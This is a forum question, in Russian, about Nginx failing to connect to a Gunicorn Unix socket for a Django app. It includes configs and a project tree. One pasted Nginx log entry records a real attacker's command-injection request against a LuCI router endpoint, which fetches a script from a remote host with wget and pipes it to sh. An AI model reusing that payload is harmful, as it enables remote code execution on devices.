Nginx не может подключиться к сокету Gunicorn
У меня возникла проблема с установкой Nginx и Gunicorn на моем сервере Ubuntu, и я был бы очень признателен за вашу помощь в ее решении.
Подробности выпуска:
Я настроил Nginx на подключение к Gunicorn с помощью Unix-сокета, расположенного по адресу /run/gunicorn.sock. Однако Nginx неоднократно не удается подключиться к этому сокету, о чем свидетельствуют журналы ошибок. Ниже приведены соответствующие сообщения об ошибках из журнала Nginx:
2024/08/21 20:42:42 [crit] 1706#1706: *1 connect() to unix:/run/gunicorn.sock failed (2: No such file or directory) while connecting to upstream, client: 5.195.239.46, server: 3.28.252.207, запрос: "GET / HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/", host: "3.28.252.207". 2024/08/21 20:42:47 [crit] 1705#1705: *3 connect() to unix:/run/gunicorn.sock failed (2: No such file or directory) while connecting to upstream, client: 185.224.128.83, server: 3.28.252.207, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.196%3A88%2Ft%7Csh%3B%60) HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.196%3A88%2Ft%7Csh%3B%60)", host: "3.28.252.207:80" 2024/08/21 20:46:09 [error] 1706#1706: *5 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 5.195.239.46, server: 3.28.252.207, запрос: "GET / HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/", host: "3.28.252.207". 2024/08/21 20:46:10 [error] 1706#1706: *5 connect() to unix:/run/gunicorn.sock failed (111: Connection refused) while connecting to upstream, client: 5.195.239.46, server: 3.28.252.207, запрос: "GET / HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/", host: "3.28.252.207"
Создание сокета и разрешения:
Я проверил, что Gunicorn правильно настроен на создание файла сокета по адресу /run/gunicorn.sock. Файл сокета имеет правильные разрешения и принадлежит пользователю www-data. Конфигурация Nginx:
Конфигурация Nginx была настроена на подключение к сокету Unix с помощью следующего блока:
upstream gunicorn_server {
server unix:/run/gunicorn.sock fail_timeout=0;
}
server {
listen 80;
server_name 3.28.252.207;
location / {
proxy_pass http://gunicorn_server;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /static/ {
alias /home/ubuntu/OCC_Drivers_Headcount/staticfiles/;
}
location /media/ {
alias /home/ubuntu/OCC_Drivers_Headcount/media/;
}
error_log /var/log/nginx/occ_drivers_headcount_error.log;
access_log /var/log/nginx/occ_drivers_headcount_access.log;
}
Конфигурация супервизора Gunicorn:
Вот конфигурация супервизора для управления Gunicorn:
[program:gunicorn]
command=/home/ubuntu/OCC_Drivers_Headcount/env/bin/gunicorn -c /home/ubuntu/OCC_Drivers_Headcount/gunicorn.conf.py staff_transport.wsgi:application
directory=/home/ubuntu/OCC_Drivers_Headcount
user=ubuntu
autostart=true
autorestart=true
redirect_stderr=true
Перезапуск службы:
Службы Gunicorn и Nginx были перезапущены несколько раз, чтобы обеспечить правильный порядок запуска и загрузки конфигурации.
Альтернативное расположение гнезда:
Я также попытался изменить расположение файла сокета на более постоянный каталог, но проблема сохраняется.
Ниже приведена структура каталогов моего проекта Django:
~/OCC_Drivers_Headcount/
├── Drivers_Master/
├── Procfile
├── SQL.sql
├── db.sqlite3
├── duty/
│ ├── __init__.py
│ ├── admin.py
│ ├── apps.py
│ ├── forms.py
│ ├── models.py
│ ├── templates/
│ ├── tests.py
│ ├── urls.py
│ └── views.py
├── env/
├── manage.py
├── requirements.txt
├── staff_transport/
│ ├── __init__.py
│ ├── asgi.py
│ ├── settings.py
│ ├── urls.py
│ └── wsgi.py
├── static/
│ ├── StaffDriverForm.js
│ ├── favicon.ico
│ ├── logo192.png
│ ├── manifest.json
│ ├── myapp/
│ └── static/
│ ├── css/
│ ├── js/
│ └── media/
├── staticfiles/
└── venv/
Не могли бы вы дать рекомендации или предложить дополнительные шаги по устранению неполадок, которые помогут выявить и решить проблему? Если требуется какая-либо дополнительная информация или журналы, я буду рад предоставить ее.